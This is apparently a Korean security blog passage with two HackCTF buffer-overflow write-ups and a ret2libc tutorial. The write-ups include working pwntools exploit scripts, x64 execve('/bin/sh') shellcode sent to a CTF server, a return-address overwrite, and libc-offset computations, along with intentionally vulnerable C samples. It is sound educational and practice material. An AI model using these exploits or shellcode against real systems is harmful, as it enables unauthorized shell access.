문제 파일을 file 명령어로 확인해보면 64비트 실행파일임을 확인할 수 있다.

파일을 실행해보면 buf주소를 출력하고, 입력을 받고 실행을 끝낸다.

checksec로 보호기법을 확인하면 다음과 같다.

NX보호기법이 걸려있지 않은걸로 보아 쉘코드도 삽입이 가능할 것 같다.

info func 명령으로 함수 목록을 봤을 때 main함수 말고 별 다른 함수 목록이 안보여서 main 함수의 어셈을 보면 다음과 같다.

0x6d30(27952)만큼의 크기에 gets함수로 입력을 받고있다.

gets함수가 끝난 main+96에 bp를 걸고 값을 입력하면 파일을 실행할 때 출력하는 buf 주소와 입력한 값이 들어간 주소가 동일함을 확인할 수 있다.

따라서 입력값에 쉘코드를 넣고 (27952(buf크기) - 쉘코드 길이) + 8(RET까지 거리)만큼 입력값을 채우고 buf의 주소를 받아서 넣으면 문제를 RET에 쉘코드가 들어간 buf주소가 들어가 쉘을 딸 수 있을 것 같다. 이를 파이썬 익스코드를 작성하고 실행하면 다음과 같이 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
#p = process("./Simple_size_bof")
= remote("ctf.j0n9hyun.xyz"3005)
 
p.recvuntil("buf: ")
buf = p64(int(p.recv(14), 16))
#print(buf)
shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
 
pay = shell + "A"*27930 + buf
#print(pay)
p.send(pay)
p.interactive()
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10

Hack CTF pwnable 분야 이전 문제들에 대한 롸업은 Project H4C 게시판에 있다.

 

파일 명령어로 확인해보면 64비트 리눅스 실행파일임을 확인할 수 있다.

파일을 실행하면 문자열을 입력받고, Hello 입력받은 문자열 의 형태로 출력하고 있다 .

checksec로 확인해보면 NX보호기법이 적용되어 있다.

info func로 함수 정보를 보면 다음과 같다.

execve 함수가 사용됨을 확인할 수 있고, main함수 말고, callMeMaybe 함수도 있는것을 확인할 수 있다.

main함수와 callMeMaybe 함수의 어셈 코드를 확인하면 다음과 같다.

main 함수에서 0x110(272)만큼의 공간을 할당하고, scanf함수로 입력을 받고 있고, callMeMaybe함수에서 execve 함수를 실행하고 있다. main함수의 입력받는 부분에서 bof를 발생시켜 callMeMaybe함수를 실행시킬 수 있을 것 같다. 입력값으로 272(buffer) + 8(SFP)를 채우고 ret에 callMeMaybe함수의 주소를 넣으면 될 것 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3004)

pay = "A"*280
pay += p64(0x0000000000400606)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06

RTL은 Retuen Address 영역에 공유 라이브러리 함수의 주소로 변경해 해당 함수를 호출하는 방식이다. 이 기법을 통해 NX 보호기법을 우회할 수 있다.

공유 라이브러리는 컴파일을 할때 링커가 실행 파일에 사용할 공유 라이브러리를 표시하면 그 라이브러리에 있는 컴파일 된 코드를 가져와 사용한다. 리눅스는 기본적으로 공유 라이브러리가 있으면 그것과 링크를 시키고, 없으면 정적 라이브러리로 링크 작업을 한다.

인텔 x86 시스템, 리눅스 커널에서는 Cdecl 호출 규약을 사용한다. 이 호출 규약은 함수의 인자값을 stack에 저장하며 오른쪽에서 왼쪽 순서로 스택에 저장한다. 함수의 반환 값은 EAX 레지스터에 저장된다. 사용된 스택 정리는 해당 함수를 호출한 함수가 정리한다.

다음 코드를 32비트로 컴파일하고 gdb로 어셈블리 코드를 보면 다음과 같다.

// gcc -m32 -o test test.c
#include <stdio.h>
#include <stdlib.h>

void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}

void main(){
        vuln(1,2,3,4);
}

다음과 같이 스택에 저장된 vlun 함수의 인자값들을 확인할 수 있다. vlun함수 실행전인 main+35에 breakpoint를 걸고 esp를 확인했다.

vuln 함수의 어셈 코드를 보면 다음과 같다.

push ebp로 main 함수에서 사용하던 호출 프레임을 스택에 저장한다. 이전 함수에서 사용하던 호출 프레임은 ebp 레지스터에 저장되어 있다. mov ebp, esp로 vlun 함수에서 사용할 새 호출 프레임이 ebp레지스터에 초기화 된다. ebp 레지스터를 통해 main 함수에서 전달된 인자값을 사용할 수 있다.

DWORD PTR [ebp+*] 영역으로 각각의 인자값을 확인할 수 있다.

ret2libc 기법 사용시 인자값을 전달하려면 Return Address의 4바이트 뒤에 인자 값을 전달해야 한다.

다음과 같이 코드를 작성하고 컴파일 하여 Return to Shellcode를 확인할 수 있다.

// gcc -fno-stack-protector -m32 -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}

void main(){
    vuln();
}

vuln 함수에서 buf 의 크기는 50이지만, read함수로 100크기의 문자를 받으므로 Stack Overflow 취약점이 발생할 수 있다.

gdb로 vuln 함수를 확인하면 다음과 같다.

breakpoint를 지정할 위치는 vuln의 시작점인 vuln+0, read함수를 호출하는 vuln+123, vurn함수의 ret명령이 있는 vuln+139의 세 위치를 지정할 것이다.

다음과 같이 Return Address를 확인할 수 있다.

첫번째 bp 까지 실행시킨 후 esp 레지스터가 가리키고 있는 최상위 스택의 주소는 0xffffd0cc이다. 이 0xffffd0cc 영역에 Return Address(0x56555659)가 저장되어 있다.

두번째 bp(read함수 호출)까지 실행하면 다음과 같이 buf 변수의 위치를 확인할 수 있다.

buf 변수의 위치는 0xffffd07a 이고, Return Address와 82바이트 떨어져 있다.

다음과 같이 82바이트 이상의 값을 넣으면 Return Address의 값이 변경됨을 확인할 수 있다.

system()함수는 인자 값으로 실행할 명령어의 경로를 문자열로 전달받는다. RTL기법으로 shell을 실행하려면 "/bin/sh"문자열을 전달하면 된다.

다음과 같이 libc 영역에서 system()함수를 찾을 수 있다.

또한 다음과 같이 libc start address를 찾을 수 있다. libc start address는 heap 영역 다음에 있다.

printf의 주소는 0xf7e29430 이므로 libc base 주소와 시스템 함수 주소의 오프셋은 다음과 같다.

또한 다음과 같이 "/bin/sh"문자열을 찾고, libc 시작 주소에서 "/bin/sh"까지의 오프셋도 구할 수 있다.

따라서 다음과 같이 익스 코드를 작성하면 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
= process("./ret2libc")
 
p.recvuntil("Printf() address : ")
stackaddr = p.recvuntil("\n")
stackaddr = int(stackaddr, 16)
 
libcbase = stackaddr - 0x51430
sysaddr = libcbase + 0x3d2e0
binsh = libcbase + 0x17e0af
 
print hex(libcbase)
print hex(sysaddr)
print hex(binsh)
 
exploit = "A" * (86 - len(p32(sysaddr)))
exploit += p32(sysaddr)
exploit += 'BBBB'
exploit += p32(binsh)
 
p.send(exploit)
p.interactive()
cs

 

'Security & Hacking > Technical & etc.' 카테고리의 다른 글

[Pwnable] Frame faking(Fake EBP)_Lazenka  (0) 2021.05.24
[Pwnable] PIE 보호기법  (0) 2021.05.13
[Pwnable] ASLR 보호기법  (0) 2021.05.08
[Pwnable] RTL(Retrun To Libc) x64_ Lazenca  (0) 2021.04.26
[System] DEP(NX bit)  (0) 2020.11.13

+ Recent posts